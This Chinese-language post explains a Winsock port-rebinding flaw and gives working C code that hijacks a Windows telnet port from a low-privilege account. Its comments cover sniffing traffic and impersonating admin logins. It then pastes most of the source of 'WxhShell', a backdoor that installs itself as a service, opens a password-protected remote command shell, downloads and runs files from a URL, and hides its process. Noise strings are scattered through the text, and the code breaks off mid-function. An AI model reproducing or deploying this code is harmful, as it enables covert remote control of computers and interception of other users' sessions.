在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|h?2~D!+d
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
uGv|!UQw 9=mc3m:Tb( saddr.sin_family = AF_INET;
=C2KHNc gYCr,-_i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
84WX I#BH pM^Z C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
QC?~$>h!? kO5lLqE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aeISb83Y | * bd3^mP 这意味着什么?意味着可以进行如下的攻击:
P)kJ[Zv>f jU $G<G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9QaE)wt au04F]-|j8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W6Mq:?+ D Wqkb1~]#Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l n\qvD_ Zwm/ c]6` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X Z . T%g *E*oWb]H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j*5IRzK1%0 PcBD;[cn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
a}uYv: pB4Uc<e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2j:0!% ^nK<t?KS #include
*5 +GJWKN #include
V^,eW! #include
PJcfiRa'jQ #include
i84!x%|P DWORD WINAPI ClientThread(LPVOID lpParam);
V
^+p:nP int main()
W&=OtN
U! {
r=&,2meo WORD wVersionRequested;
WFiX=@SS DWORD ret;
puJB&u"4L WSADATA wsaData;
~N/r;omVc BOOL val;
-?-XO<I SOCKADDR_IN saddr;
00.x*v SOCKADDR_IN scaddr;
Jup)A`64 int err;
#D4 SOCKET s;
]
\M+j u SOCKET sc;
GPGE7X' int caddsize;
"bIb?e2h9G HANDLE mt;
t&xoi7!$ DWORD tid;
]bJz-6u#: wVersionRequested = MAKEWORD( 2, 2 );
c3 O/#* err = WSAStartup( wVersionRequested, &wsaData );
P{--R\ if ( err != 0 ) {
X>Vc4n<} printf("error!WSAStartup failed!\n");
uMEM7$o return -1;
{_Wrs.a'8 }
w.-x2Zg}, saddr.sin_family = AF_INET;
)Cl>% 9 *3H=t$1G} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7ocUFY0" d/bimQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9F>`M saddr.sin_port = htons(23);
$Lr&V~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.`}TND~ {
/@F'f@; printf("error!socket failed!\n");
bGCC?}\ return -1;
J5G<Y*q }
A$=ny6 val = TRUE;
ryVYY>*(K //SO_REUSEADDR选项就是可以实现端口重绑定的
=mO5~~"W+v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^e8xg=8( {
UZI:st
printf("error!setsockopt failed!\n");
[UA*We 1 return -1;
uQIPnd(V }
u%~'+= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
CefFUqo4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@."K"i'Bl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gx.\H3y 2iG+Ek-?" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8Yh'/,o=L# {
~HB#7+b ret=GetLastError();
9wYm(7M6 printf("error!bind failed!\n");
V: D;?$Jl return -1;
a9-Mc5^'n }
+]eG=.
u listen(s,2);
Uj7YTB while(1)
-D~K9u]U_ {
H?=W]<!W{y caddsize = sizeof(scaddr);
Kk8wlC //接受连接请求
,Z~`aHhr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
V
vrsf6l] if(sc!=INVALID_SOCKET)
tnJ7m8JmC {
NV*
2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,D;8~llM if(mt==NULL)
4
neZw'm {
\6|y~5Hw{r printf("Thread Creat Failed!\n");
WqA)V,E break;
46=E- Tq }
mD9Iao%4~ }
z\m$>C| CloseHandle(mt);
6\.g,>
}
9WG=3!-@ closesocket(s);
cg8/v:B WSACleanup();
k* C69 return 0;
N|yA]dg[ }
lwQ!sH[M DWORD WINAPI ClientThread(LPVOID lpParam)
8xLQ"
l+" {
T \/^4N` SOCKET ss = (SOCKET)lpParam;
xw8k<` SOCKET sc;
^aB;Oo unsigned char buf[4096];
MLV]+H[mt SOCKADDR_IN saddr;
!
v![K long num;
nGVr\u9z DWORD val;
6|EOB~| DWORD ret;
2U[/"JL //如果是隐藏端口应用的话,可以在此处加一些判断
>GIQT?O6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
? X8`+`nh saddr.sin_family = AF_INET;
r ~{nlLO} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'l/l]26rO4 saddr.sin_port = htons(23);
dEDhdF#f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%`bs<ZWT {
%g7j7$c printf("error!socket failed!\n");
Q,.dIPla return -1;
rPB Ju0D" }
usc/DQ1 val = 100;
| d*<4-: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W>' DQB {
YMw,C:a4 ret = GetLastError();
vVB WhY] return -1;
eYv^cbO@: }
5i6Ji( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`m'RvU c {
:tV"uWZFU ret = GetLastError();
mg*iW55g return -1;
:30daKo }
LiEEQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
n'ZPB {
(Tq)!h35B printf("error!socket connect failed!\n");
eF;Jj>\R+i closesocket(sc);
7 :\J2$P closesocket(ss);
jXx~5 return -1;
#}1yBxB<= }
N8T.Ye N while(1)
6oWFj eZ0 {
MNh:NFCRA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.D7Gog3^< //如果是嗅探内容的话,可以再此处进行内容分析和记录
a"cw%L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rXSw@pqZ& num = recv(ss,buf,4096,0);
#x;d+Q@ if(num>0)
f3;[ZS send(sc,buf,num,0);
3
JlM{N6+ else if(num==0)
dM"5obEb break;
9n5uO[D num = recv(sc,buf,4096,0);
shLMj)7! if(num>0)
Yi-,Pb?
send(ss,buf,num,0);
"SuG6!k3 else if(num==0)
6Po{tKU break;
,A#gF_8 }
9r:|u:i7m closesocket(ss);
IM,d6lN6s closesocket(sc);
uv$utu><
* return 0 ;
;<MHl[jJD }
h5vetci/ 1Uah IePf K6F05h 5S ==========================================================
[IyC}lSW^- nBd(pOe 下边附上一个代码,,WXhSHELL
PE_JO(e;Xm 2L.6!THG ==========================================================
5rtE/{A >kuu\ #include "stdafx.h"
oh:.iL}j Eg4&D4TGp #include <stdio.h>
}_}LaEYAo #include <string.h>
yJw.z#bB# #include <windows.h>
6m:$RW #include <winsock2.h>
>qMzQw2 #include <winsvc.h>
i:&$I= #include <urlmon.h>
/*6[Itm_h iII%!f?{[ #pragma comment (lib, "Ws2_32.lib")
eS%8WmCV9< #pragma comment (lib, "urlmon.lib")
&`g^b^i r.]IGE| #define MAX_USER 100 // 最大客户端连接数
;e2D} #define BUF_SOCK 200 // sock buffer
8yswi[ #define KEY_BUFF 255 // 输入 buffer
YvUV9qps~ !@h)3f]`1G #define REBOOT 0 // 重启
+}g6X6m #define SHUTDOWN 1 // 关机
*]Eyf") Q0XSQ Ol #define DEF_PORT 5000 // 监听端口
#8WHIDS> 4`sW_
ks #define REG_LEN 16 // 注册表键长度
U]M5&R=? #define SVC_LEN 80 // NT服务名长度
<`BDN F:Yp1Wrb < // 从dll定义API
E]pDp
/D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!W b Q9o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;Yt'$D*CP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,9buI=' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cVaGgP}\ N.V5>2 // wxhshell配置信息
_!yUr5&,Br struct WSCFG {
OFZo"XtF int ws_port; // 监听端口
G1SOvdq char ws_passstr[REG_LEN]; // 口令
~qE:Nz0@ int ws_autoins; // 安装标记, 1=yes 0=no
=|V#~p* char ws_regname[REG_LEN]; // 注册表键名
+[V.yY/t|> char ws_svcname[REG_LEN]; // 服务名
! ^aJS'aq char ws_svcdisp[SVC_LEN]; // 服务显示名
qjN*oM, char ws_svcdesc[SVC_LEN]; // 服务描述信息
5_rx$avm char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$L72%T int ws_downexe; // 下载执行标记, 1=yes 0=no
.p78
\T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{T5u"U4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&8JK^zQq -{p~sRc& };
2}9M7Z",2 A ?[Wfq| // default Wxhshell configuration
C)&BtiUN/ struct WSCFG wscfg={DEF_PORT,
:>3?|Z"Aj "xuhuanlingzhe",
r:t3Kf`+E- 1,
=GC,1WVEqV "Wxhshell",
qKI)*o062 "Wxhshell",
Md*.q^: "WxhShell Service",
v+DXs!O{ "Wrsky Windows CmdShell Service",
S0lt_~ "Please Input Your Password: ",
CH0Nkf 1,
}u;`k'J@ "
http://www.wrsky.com/wxhshell.exe",
5>fAO =u!Q "Wxhshell.exe"
{Ok]$0L };
whQJWi=ck
[$`%ve // 消息定义模块
4
udW6U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$nNCBC= char *msg_ws_prompt="\n\r? for help\n\r#>";
(~?p`g+I.P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
lB char *msg_ws_ext="\n\rExit.";
m(^nG_eX char *msg_ws_end="\n\rQuit.";
CWSc #E char *msg_ws_boot="\n\rReboot...";
~L"?C char *msg_ws_poff="\n\rShutdown...";
-7VQ{nC char *msg_ws_down="\n\rSave to ";
:c9 H2 sV]I]DR char *msg_ws_err="\n\rErr!";
#l!nBY ~ char *msg_ws_ok="\n\rOK!";
kTm}VTr
1 e. R9: char ExeFile[MAX_PATH];
a[E}o<{ int nUser = 0;
bv}e[yH HANDLE handles[MAX_USER];
c'wU$xt.w int OsIsNt;
nNh5f]] 8Y/1+- SERVICE_STATUS serviceStatus;
D"&Sd@a{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
HbJ^L:/ =G`g-E2 // 函数声明
aAgQ^LY int Install(void);
-[[(Zx int Uninstall(void);
l\ VrD2j8 int DownloadFile(char *sURL, SOCKET wsh);
^p3W}D int Boot(int flag);
VPb8dv(a3 void HideProc(void);
b8glZb*$ int GetOsVer(void);
[gj>ey8T int Wxhshell(SOCKET wsl);
4B)%I` void TalkWithClient(void *cs);
XJ7pX1nf int CmdShell(SOCKET sock);
DTHWL int StartFromService(void);
kq@~QI?9 int StartWxhshell(LPSTR lpCmdLine);
Zr[B*1,ZV w[AL'1s] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q`UaJ_7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
eg24.W9c ygQe'S{!S\ // 数据结构和表定义
`UTUrM SERVICE_TABLE_ENTRY DispatchTable[] =
hw=~%f; {
)W&{OMr {wscfg.ws_svcname, NTServiceMain},
}
| {NULL, NULL}
.h(iyCxP };
13+.> <,\U,jU_ // 自我安装
M~~)tJYsu int Install(void)
5]n\E?V'L {
Nnq1&j"m char svExeFile[MAX_PATH];
8 [D" HKEY key;
l2I%$|)d strcpy(svExeFile,ExeFile);
D"%> 73Hm:"Eqd // 如果是win9x系统,修改注册表设为自启动
3 FV -&Y if(!OsIsNt) {
<~uzKs0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M=3gV?N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AREjS$ RegCloseKey(key);
6&il> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nv\K!wZI=b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o4wSt6gBcJ RegCloseKey(key);
u1=K#5^ return 0;
);kD0FO1| }
9zY6hh** }
X-#&]^d }
pdvnpzj else {
!-%XrU8o3 [FLR&=.( // 如果是NT以上系统,安装为系统服务
8KYI Hw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%"eR0Lj+zq if (schSCManager!=0)
"%\hDL; {
=E<H_cUS SC_HANDLE schService = CreateService
|Wjpnz (
tym:C7v%~ schSCManager,
-Jw4z#/- wscfg.ws_svcname,
1GqSY|FSGp wscfg.ws_svcdisp,
ex6R=97uA SERVICE_ALL_ACCESS,
_{-[1-lN5_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tRZ4\Bu SERVICE_AUTO_START,
Y~e)3e SERVICE_ERROR_NORMAL,
Qd{8.lB~LQ svExeFile,
*mbzK*
NULL,
igW* {)h3 NULL,
%qiVbm0 NULL,
H!&_Tv[ NULL,
"r*`*1 NULL
][
I OlR );
40pz <-B if (schService!=0)
&T~X`{V]` {
&lLfVa-l CloseServiceHandle(schService);
\2e^x CloseServiceHandle(schSCManager);
bd~m'cob> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;RRw-|/Wm strcat(svExeFile,wscfg.ws_svcname);
?_i>Kx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
e6Y>Bk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w.a9}GC RegCloseKey(key);
ninWnQq return 0;
0o"aSCq8t }
_p*8ke }
dGn0-l'q CloseServiceHandle(schSCManager);
)iQ^HZ }
)Wr_*>xj }
}b&lHr'Uw Z$JJ0X return 1;
]i$0s }
[I3Nu8 ^2nrA pF // 自我卸载
]JYE#F int Uninstall(void)
]i$y;]f {
/HpM17
HKEY key;
!>n!Q*\(Ov M|mfkIk0MB if(!OsIsNt) {
$Gv@lZ@= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j<*7p:L7_> RegDeleteValue(key,wscfg.ws_regname);
Nw1*);b[y RegCloseKey(key);
WSu6chz) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LhbdvJAk@ RegDeleteValue(key,wscfg.ws_regname);
HS/.H,X RegCloseKey(key);
:5,~CtF5 ` return 0;
N*}soMPV^. }
= IRot }
_d5:Y }
\ +%~7Bi]z else {
t-iXY0%& OW4j!W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V%r`v%ktF if (schSCManager!=0)
x2"1,1%H7 {
e"%TU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]yf?i350 if (schService!=0)
]O"f % {
0N$7(. if(DeleteService(schService)!=0) {
.Rk8qRB CloseServiceHandle(schService);
)bOfs*S CloseServiceHandle(schSCManager);
DJ, LQj return 0;
w~b:9_reY }
hi1Ial\Y CloseServiceHandle(schService);
,SR7DiYg }
~{/M_
= CloseServiceHandle(schSCManager);
:S0! }
K>$f#^ }
a.Z@Z!* c a_mift return 1;
^el+ej/= }
VO|ECB2e 1 P!)4W // 从指定url下载文件
1l$Ei,9 int DownloadFile(char *sURL, SOCKET wsh)
Ds">eNq {
-+rzc&h HRESULT hr;
smf"F\Ws char seps[]= "/";
\FVfV`x char *token;
90<g=B char *file;
*H
Qc I- char myURL[MAX_PATH];
ApCU|*r) char myFILE[MAX_PATH];
2IJK0w@ Y~I<L ocv strcpy(myURL,sURL);
EnM token=strtok(myURL,seps);
@(,1}3s while(token!=NULL)
/sA&}kX}E {
53])@Mmus file=token;
T$%|=gq token=strtok(NULL,seps);
+-!E%$ }
|3' l^lb ^"o GetCurrentDirectory(MAX_PATH,myFILE);
R/hIXO strcat(myFILE, "\\");
+X=*>^G(- strcat(myFILE, file);
MUrPr send(wsh,myFILE,strlen(myFILE),0);
puC91 send(wsh,"...",3,0);
b7QE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*jlIV$r_ if(hr==S_OK)
5'} V`?S return 0;
;77K1 else
BO[:=x` return 1;
XnyN*}8 <CyU9`ye }
W;vNmg}mn %_OjmXOfe // 系统电源模块
!"L.g u-' int Boot(int flag)
c#n
2! {
ax&?Z5%a HANDLE hToken;
OEW'bT) TOKEN_PRIVILEGES tkp;
E/zf9\ <Riz!(G if(OsIsNt) {
dHnCSOM< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>+2&7u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Cr.YSWg)4 tkp.PrivilegeCount = 1;
R_!.vGhkN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Xh9QfT , AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/I%z7f91O if(flag==REBOOT) {
3Ua?^2l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/LD3Bb)O return 0;
or]v]*:~l }
=oBpS=<7 else {
/(dP)ysc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Su#0F0 return 0;
/F0q8j0 }
@>2pY_ }
kaBjA* else {
H"A%mrb if(flag==REBOOT) {
zHJCXTM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-k'<6op return 0;
$L/`nd }
Y}?8 else {
4#$#x=: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<Ky-3:pxeM return 0;
qN!oN* }
P'W} ]mCD }
wI.aV> l1 +l@r\ return 1;
(@?mm }
!_Lmrs v] m/$X2 // win9x进程隐藏模块
Blpk
n1 void HideProc(void)
KWJVc
` {
SI7rTJ]/ !=[Y yh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
L:i&OCU2k if ( hKernel != NULL )
\]X.f&u {
q
W(@p` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1Bh"'9-!JT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
u?^V4 +V FreeLibrary(hKernel);
;: ;E|{e }
6!<I'M'[e PgBEe
@. return;
p Cz6[*kC }
^FVdA1~/ e"
v%m'G // 获取操作系统版本
R"nB4R0Uh int GetOsVer(void)
IiYL2JS;t| {
GBJLB OSVERSIONINFO winfo;
iq&3S 0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0z8(9DlTc GetVersionEx(&winfo);
\:vF FK4a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i
;FKnK return 1;
M8},RR@{ else
.LzA'q1+z return 0;
hx$]fvDevD }
Y=S0|!u qt8Y3:=8l // 客户端句柄模块
i<uU_g'M int Wxhshell(SOCKET wsl)
u~uzKG {
{##G.n\~ SOCKET wsh;
+=tdgw/ struct sockaddr_in client;
I%T+H[, DWORD myID;
v\xl?F !0{SVsc) while(nUser<MAX_USER)
ZrN(Mp {
l+ }=D@l int nSize=sizeof(client);
LU3pCM{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L8 P0bNi if(wsh==INVALID_SOCKET) return 1;
ETDWG_H | Fis!MMh.$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y\
[|k-6
if(handles[nUser]==0)
T3w%y`K closesocket(wsh);
+t!]nE# else
=*UK!y?n nUser++;
!BQt+4G7 }
j0l,1=^>l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5`h 6oFxGp @@Ib^sB% return 0;
?2@^O=I }
3vrVX<_ !HTOE@ // 关闭 socket
}?[];FB void CloseIt(SOCKET wsh)
U,rI/' {
j0l{Mc5 closesocket(wsh);
^t0!Dbx3SE nUser--;
{;$oC4 ExitThread(0);
-}7$;QK&a }
.; MS78BR _zj^k$ j // 客户端请求句柄
^ :VH?I= void TalkWithClient(void *cs)
>}SEU-7&\ {
AG(6. !vz'zy)7 SOCKET wsh=(SOCKET)cs;
7L~*%j char pwd[SVC_LEN];
CJ<nUIy'z char cmd[KEY_BUFF];
1/$PxQ char chr[1];
OZ`cE5"i int i,j;
+wi=IrRr 0["93n}r while (nUser < MAX_USER) {
L;V8c
'|H+5# if(wscfg.ws_passstr) {
:1 +Aj
( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dIC\U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hjL;B'IL //ZeroMemory(pwd,KEY_BUFF);
\[9VeqMU i=0;
FC0fe_U(F while(i<SVC_LEN) {
66val"^W D07M!U // 设置超时
Sz5t~U=G fd_set FdRead;
2@S}x@^ struct timeval TimeOut;
'lIs`Zc5N FD_ZERO(&FdRead);
SVU>q:ab FD_SET(wsh,&FdRead);
~b_DFj TimeOut.tv_sec=8;
snaAn?I4 TimeOut.tv_usec=0;
<Km9Mq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TpU\IQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|=;hQ2HyF t:10
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z],j|rWy6 pwd
=chr[0]; 3)G~ud
if(chr[0]==0xd || chr[0]==0xa) { '| i?-(f)
pwd=0; 2^r~->
break; W
)FxN,
} +M"j#H
i++; U9oUY> 9
} YTTyMn
aAjl
58
// 如果是非法用户,关闭 socket 2U)n^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K<P d.:
} HzTmNm)
gPd
K%"B@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fo ~uI(rk
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %]+R>+
=RB
{.%
while(1) { 9q"kM
(p>|e\(]0
ZeroMemory(cmd,KEY_BUFF); 5%}e j)@
zud_BOq{f
// 自动支持客户端 telnet标准 kY)Vr3uGA
j=0; +d3|Up8=
while(j<KEY_BUFF) { Z"8lW+r*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9@|52dz%
cmd[j]=chr[0]; ABCm2$<
if(chr[0]==0xa || chr[0]==0xd) { wv9HiHz8gD
cmd[j]=0; Sf?;j{?G
break; sh
:$J[
} ~HmH#"VP
j++; O},}-%G
} httywa^
Yc[umn^K
// 下载文件 .OdtM
Xy
if(strstr(cmd,"http://")) { JI>Y?1i0O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); O,r;-t4vYU
if(DownloadFile(cmd,wsh)) D40 vCax^J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gH//@`6
else p#$/{;yy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0GUJc}fgvN
} VM$n|[C~
else { N`W[Q>n
phy}Hk/
switch(cmd[0]) { WZ' Z"'
`G$>T#Dq
// 帮助 D
/QLp3+o
case '?': { QP\9#D~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .lcp5D[(
break; d6MWgg
} FI^Wh7J
// 安装 rg^\gE6_
case 'i': { fOi
Rstci
if(Install()) SA<\n+>q^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lsax.uG5x
else [QnN1k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s[8. l35|
break; u
IXA{89
} it}h8:^<
// 卸载 !FgZI4?/Y=
case 'r': { v.]{b8RR
if(Uninstall()) AMyg>n!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZXx1S?u
else ) ^En
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xUn"XkhP
break; "WKOlfPa
} v]cw})l
// 显示 wxhshell 所在路径 vaeQ}F
case 'p': { PSJj$bt;<+
char svExeFile[MAX_PATH]; wh(_<VZ
strcpy(svExeFile,"\n\r"); FxlH;'+Q
strcat(svExeFile,ExeFile); "lt <$.
send(wsh,svExeFile,strlen(svExeFile),0); v-#,@&Uwq
break; /bykIUTKI
} %V=%ARP|
// 重启 +QN4hJK
case 'b': { |&4A"2QN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sn[xI9}O
if(Boot(REBOOT)) $q\"d?n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5@P|{FF
else { ^t3>Z|DiB^
closesocket(wsh); .'`aX
7{\
ExitThread(0); at?I @By
} bpc1>?
break; J!om"h
} SA'g`
// 关机 2{j$1EdI@-
case 'd': {
P7w
RX F{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I3>8B
if(Boot(SHUTDOWN)) bhD-;Y!6;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6c!F%xU}
else { ,
>WH)+a
closesocket(wsh); Sqi9'-%m
ExitThread(0); p
l^;'|=M
} n>)aw4
break; Y%/RGYKh
} v(;yy{>8"
// 获取shell pT=^o
case 's': { m%.4OXX"&
CmdShell(wsh); 0y|1@CS
closesocket(wsh); lq.:/_m0
ExitThread(0); ~2>A dp
break; j)/Vtf
} $Z;8@O3
// 退出 ,~cK]!:>s
case 'x': { Y*@7/2,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N?m)u,6-l
CloseIt(wsh); oQ,n?on
break; 6{;6~?U
} (LsVd2AbR
// 离开 U~=?I)Ni
case 'q': { Rng-o!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zx<t{e7
closesocket(wsh); ;uAh)|;S#
WSACleanup(); 8qkQ*uJP
exit(1); %!iqJ)*~
break; I+Fy)=DO9
} \X\< +KU
} Re~6'
} lO\HchGzB
jy0aKSn8
// 提示信息 ~H#c-B
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H,c1&hb/w
} (!@gm)#h
} +8ib928E
W\j'8^kI9
return; }s?3
} rbOJ;CK
>]_6|Wfl
// shell模块句柄 ,(oolx"Xa
int CmdShell(SOCKET sock) zATOFV
{ >7@,,~3
STARTUPINFO si; *# <%04f
ZeroMemory(&si,sizeof(si)); 3VU4E|s>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %wl:>9]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +D
@B eQu
PROCESS_INFORMATION ProcessInfo; 2Rys:$
char cmdline[]="cmd"; e\ (X:T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kReZch}
return 0; 5f_x.~ymA
} u0)O Fz
Gfx!.[Y
// 自身启动模式 msw'n
int StartFromService(void) y)LX?d
{ 7Z+Fjy-B
typedef struct Otr=+i
ZI
{ N
(\n$bpTt
DWORD ExitStatus; _Cf:\Xs
m
DWORD PebBaseAddress; e`a4Gr
DWORD AffinityMask; 3;b)pQ~6CJ
